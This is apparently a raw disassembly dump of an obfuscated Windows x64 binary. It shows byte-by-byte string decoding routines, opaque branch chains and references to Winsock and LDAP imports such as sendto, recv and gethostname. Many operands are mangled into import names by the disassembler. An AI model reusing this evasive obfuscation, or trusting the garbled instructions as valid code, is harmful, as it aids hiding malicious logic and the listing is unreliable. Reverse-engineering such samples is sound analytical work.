movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x1401f0a08
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f0696
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401f086b
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f06c5
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f089f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f038f
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401f0a35
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f0712
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401f0565
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f072f
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401f0859
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f074c
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401f08e4
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f0776
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x1401f081d
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f07a1
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x1401f09e5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f07be
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401f0288
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f03c7
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401f0998
mov byte [rbp + r9 + 0x8c0], bl
jmp 0x1401f0a44
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x8c0]
sub bl, al
sub bl, 0x60
add bl, r8b
add bl, dl
jmp 0x1401f0918
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x8c0]
jmp 0x1401f0866
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x8c0], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f0a35
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f0a08
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rdx, 0x96e5be0d8f9d7404
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x1c
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
jmp 0x1401f0a08
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f09e5
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401f0988
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x8c0], cl
add r10, rsi
jmp 0x1401f09e5
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x1401f0a44
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f0a44
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x8c0]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x1401eff90
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401eff8d
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401eff7d
lea rdx, [rbp + 0x16f0ff0]
jmp 0x1401f0aae
lea rdx, [rbp + 0x68a354]
jmp 0x1401f0aae
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x4c0]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1ec0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f0ae3
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1ec0]
call fcn.140174580
nop
lea rcx, [rbp + 0x1ec0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1ec0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x780], 0xcb
mov byte [rbp + 0x781], Ordinal_143
mov byte [rbp + 0x782], 0xac
mov byte [rbp + 0x783], 0xf3
mov byte [rbp + 0x784], Ordinal_79
mov byte [rbp + 0x785], 0xf1
mov byte [rbp + 0x786], WSASetLastError
mov byte [rbp + 0x787], 0xf7
mov byte [rbp + 0x788], 0x55
mov byte [rbp + 0x789], 0xf5
mov byte [rbp + 0x78a], 0xa2
mov byte [rbp + 0x78b], 0xfb
mov byte [rbp + 0x78c], 0x66
mov byte [rbp + 0x78d], 0xf9
mov byte [rbp + 0x78e], 0x55
mov byte [rbp + 0x78f], 0xff
mov byte [rbp + 0x790], 0x59
mov byte [rbp + 0x791], 0xfd
mov byte [rbp + 0x792], WSACleanup
mov byte [rbp + 0x793], 0xe3
mov byte [rbp + 0x794], 0x47
mov byte [rbp + 0x795], 0xe1
mov byte [rbp + 0x796], Ordinal_79
mov byte [rbp + 0x797], 0xe7
mov byte [rbp + 0x798], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x799], 0xe5
mov byte [rbp + 0x79a], 0x42
mov byte [rbp + 0x79b], 0xeb
mov byte [rbp + 0x79c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x79d], 0xe9
mov byte [rbp + 0x79e], r15b
mov byte [rbp + 0x79f], 0xef
mov byte [rbp + 0x7a0], 0xb8
mov byte [rbp + 0x7a1], 0xed
mov byte [rbp + 0x7a2], 0x87
mov byte [rbp + 0x7a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7a4], 0x44
mov byte [rbp + 0x7a5], Ordinal_211
mov byte [rbp + 0x7a6], r15b
mov byte [rbp + 0x7a7], Ordinal_217
mov byte [rbp + 0x7a8], 0x81
mov byte [rbp + 0x7a9], Ordinal_217
mov byte [rbp + 0x7aa], 0x7e
mov byte [rbp + 0x7ab], 0xdb
mov byte [rbp + 0x7ac], 0x7c
mov byte [rbp + 0x7ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ae], WSACleanup
mov byte [rbp + 0x7af], 0xdf
mov byte [rbp + 0x7b0], Ordinal_143
mov byte [rbp + 0x7b1], 0xdd
mov byte [rbp + 0x7b2], 0x64
mov byte [rbp + 0x7b3], Ordinal_200
mov byte [rbp + 0x7b4], WSAGetLastError
mov byte [rbp + 0x7b5], 0xc1
mov byte [rbp + 0x7b6], 0x54
mov byte [rbp + 0x7b7], Ordinal_200
mov byte [rbp + 0x7b8], Ordinal_200
mov byte [rbp + 0x7b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7ba], eax
mov word [rbp + 0x7be], ax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x1401f18c8
movzx r8d, byte [rbp + r9 + 0x780]
mov r11, r8
cmp rdi, r9
ja 0x1401f18bf
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f0d21
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x1401f0d5b
je 0x1401f1832
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f17db
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f1784
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f175b
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f1711
cmp r10, r9
ja 0x1401f18b6
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x1401f0d8d
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x1401f0dc1
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f16f3
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f16d1
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f16a2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f168e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f1336
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401f1315
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x1401f12ef
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f12cc
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f12b8
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f1296
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f1273
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1401f124f
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1401f122c
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f1206
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f0dce
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401f1890
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401f186a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x1401f0fcb
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401f0fa5
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x1401f0f83
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1401f11e2
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1401f1155
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401f1137
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f1109
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x1401f0dce
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f10f5
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x1401f10d3
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x1401f10b1
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1401f108b
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f1068
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1401f1047
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x1401f1025
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f1002
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401f0fee
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401f0dce
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x1401f0dce
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x1401f0dc1
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f0d5b
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x1401f0cea
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x1401f1720
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x1401f1756
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x1401f177c
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f1631
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x1401f1660
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f16bf
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401f17a5
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401f17ff
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x1401f1215
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x780], bl
jmp 0x1401f1862
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x1401f11ab
movabs rdx, 0xe21e1a7f034e7d22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x1401f1610
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x1401f1550
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x1401f112a
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f1732
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f135b
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1853
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1401f17ff
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f17a3
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f16bf
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401f1660
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x1401f1056
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401f177c
movabs rdx, 0x7605aceb88db0320
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f1756
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x1401f1730
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x1401f139e
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x1401f1665
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x1401f1483
movabs rdx, 0xfdfe85096cd2b646
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1176
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f13ca
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401f1853
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f13f7
movabs rdx, 0x350b794e73a31824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f17a5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f1426
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1660
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f1450
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x1401f1634
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f135d
movabs rdx, 0xbb02d675c46d8190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f1756
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f14ad
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x1401f1730
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f14d7
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x1401f1634
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f14f4
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401f140f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f1520
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x1401f16bf
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f1176
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x1401f1853
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f157c
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401f1853
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f15a6
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f17a3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f15c3
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401f140f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f15e0
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f176a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f11ad
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x1401f1756
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x780]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, r10
jmp 0x1401f16bf
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x780]
jmp 0x1401f126b
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401f125e
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f1862
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x1401f177c
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x1401f1730
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add r10, rsi
jmp 0x1401f177c
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x1401f1862
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x780], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x1401f17ff
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f1853
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x780]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x1401f0cd8
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f0cd5
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f0cc5
lea rdx, [rbp + 0x1598328]
jmp 0x1401f18cf
lea rdx, [rbp + 0x16dc0e6]
jmp 0x1401f18cf
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x4e0]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1fd0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f1904
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1fd0]
call fcn.140174580
nop
lea rcx, [rbp + 0x1fd0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x1fd0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xd90], 0xe3
mov byte [rbp + 0xd91], 0xad
mov byte [rbp + 0xd92], 0xec
mov byte [rbp + 0xd93], 0xab
mov byte [rbp + 0xd94], ntohl
mov byte [rbp + 0xd95], 0xa9
mov byte [rbp + 0xd96], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xd97], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd98], 0x3d
mov byte [rbp + 0xd99], __WSAFDIsSet
mov byte [rbp + 0xd9a], r13b
mov byte [rbp + 0xd9b], __WSAFDIsSet
mov byte [rbp + 0xd9c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xd9d], __WSAFDIsSet
mov byte [rbp + reloc.WS2_32.dll_listen9e], 0xd
mov byte [rbp + 0xd9f], 0x9f
mov byte [rbp + 0xda0], 7
mov byte [rbp + 0xda1], 0x9d
mov byte [rbp + 0xda2], 5
mov byte [rbp + 0xda3], 0x9b
mov byte [rbp + 0xda4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xda5], 0x99
mov byte [rbp + 0xda6], Ordinal_45
mov byte [rbp + 0xda7], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xda8], r12b
mov byte [rbp + 0xda9], 0x85
mov byte [rbp + 0xdaa], Ordinal_217
mov byte [rbp + 0xdab], 0x83
mov byte [rbp + 0xdac], 0x3d
mov byte [rbp + 0xdad], 0x81
mov byte [rbp + 0xdae], Ordinal_50
mov byte [rbp + 0xdaf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdb0], Ordinal_45
mov byte [rbp + 0xdb1], Ordinal_143
mov byte [rbp + 0xdb2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xdb3], Ordinal_143
mov byte [rbp + 0xdb4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdb5], Ordinal_143
